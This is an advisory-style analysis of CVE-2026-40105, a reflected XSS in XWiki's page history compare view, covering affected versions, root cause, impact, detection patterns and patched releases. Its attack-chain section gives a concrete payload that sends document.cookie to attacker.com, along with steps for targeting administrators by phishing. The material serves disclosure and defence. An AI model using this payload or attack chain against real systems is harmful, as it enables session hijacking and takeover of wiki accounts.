CVE-2026-40105: 
Java vulnerability analysis and mitigation

CVE-2026-40105 is a reflected Cross-Site Scripting (XSS) vulnerability in XWiki Platform's page history compare view that allows unauthenticated attackers to execute arbitrary JavaScript in a victim's browser by crafting a malicious URL. The vulnerability affects the Maven package org.xwiki.platform:xwiki-platform-web-templates across versions 10.4-rc-1 through 16.10.15, 17.0.0-rc-1 through 17.4.7, and 17.5.0-rc-1 through 17.10.0. It was discovered by Mike Cole (@mikecole-mg) and disclosed on April 14, 2026. The vulnerability carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 6.5 (Medium) (Github Advisory, XWiki Advisory).

The root cause is CWE-80 (Improper Neutralization of Script-Related HTML Tags in a Web Page), classified as Basic XSS. In the templates/changesdoc.vm Velocity template, revision parameters (rev1, rev2) supplied via URL query strings were interpolated directly into generated URLs without proper escaping, allowing injection of arbitrary HTML/JavaScript characters such as <, >, and '. The fix replaces raw string interpolation (e.g., "viewer=changes&rev1=${previousOrigdocVersion}&rev2=${rev2}") with $escapetool.url(...) calls that properly URL-encode each parameter before inclusion in the generated link. Exploitation requires no privileges and no special server-side conditions — only that a victim user clicks or visits a crafted link (XWiki Advisory, Patch Commit).

For regular users, successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser session, potentially stealing session cookies, credentials, or sensitive wiki content. If the targeted user holds administrator privileges, the impact escalates to full XWiki instance compromise — affecting the confidentiality, integrity, and availability of the entire platform, including all hosted content and user data. The attack requires user interaction (the victim must follow a crafted link), limiting mass exploitation but making targeted phishing attacks against admins particularly dangerous (Github Advisory, XWiki Advisory).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Github Advisory). The EPSS score is approximately 0.039% (per Feedly data), indicating a low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. A Nuclei detection template was submitted to the ProjectDiscovery nuclei-templates repository in late April/May 2026, which may lower the barrier for automated scanning (Feedly).

1. Reconnaissance: Identify publicly accessible XWiki instances running affected versions (10.4-rc-1 to 16.10.15, 17.0.0-rc-1 to 17.4.7, or 17.5.0-rc-1 to 17.10.0) using search engines, Shodan, or Censys by fingerprinting XWiki login pages or version disclosures.
2. Identify the compare view endpoint: Locate the page history compare functionality, typically accessible at a URL such as https://<xwiki-host>/xwiki/bin/view/<Space>/<Page>?viewer=changes&rev1=<rev1>&rev2=<rev2>.
3. Craft malicious URL: Inject a JavaScript payload into the rev1 or rev2 URL parameter, for example: rev2=xar:'><script>document.location='https://attacker.com/steal?c='+document.cookie</script>. The unescaped parameter is reflected into the generated navigation links in the page response.
4. Deliver the payload: Send the crafted URL to a target user via phishing email, chat message, or embedded link — ideally targeting an XWiki administrator to maximize impact.
5. Achieve objective: When the victim loads the page, the injected script executes in their browser context, enabling session hijacking, credential theft, or — if the victim is an admin — further actions such as creating rogue admin accounts or modifying wiki content (XWiki Advisory, Patch Commit).

• Network: Outbound HTTP requests from the XWiki server or user browsers to unexpected external domains shortly after accessing the compare view endpoint; unusual traffic patterns involving the viewer=changes query parameter with non-standard revision strings.
• Logs: Web server or XWiki access logs showing requests to ?viewer=changes&rev1=...&rev2=... where rev1 or rev2 values contain URL-encoded special characters such as %3C (<), %3E (>), %27 ('), or %22 ("), or contain script-related keywords like script, onerror, onload.
• Browser/Session: Unexpected session invalidation or new admin account creation following a user's visit to a compare view URL; reports from users of unexpected redirects or pop-ups when viewing page history.

XWiki has released patched versions that properly escape URL parameters in changesdoc.vm: 16.10.16, 17.4.8, and 17.10.1. Administrators should upgrade to one of these versions as the primary remediation. For deployments where immediate upgrading is not feasible, the patch can be applied manually by modifying templates/changesdoc.vm in the deployed WAR file to use $escapetool.url(...) for all revision parameter interpolation, as demonstrated in the Patch Commit. Prioritize patching instances accessible to untrusted users, especially those where admin accounts may be targeted (XWiki Advisory).

The vulnerability was credited to security researcher Mike Cole (@mikecole-mg) and disclosed responsibly through XWiki's security advisory process on April 14, 2026 (XWiki Advisory). The advisory was picked up by standard vulnerability aggregators including ENISA's EUVD, VulDB, and CVEFeed shortly after publication. A Nuclei detection template pull request was submitted to ProjectDiscovery's nuclei-templates repository, indicating community interest in automated detection. No significant broader media coverage or notable researcher commentary beyond standard aggregation was observed.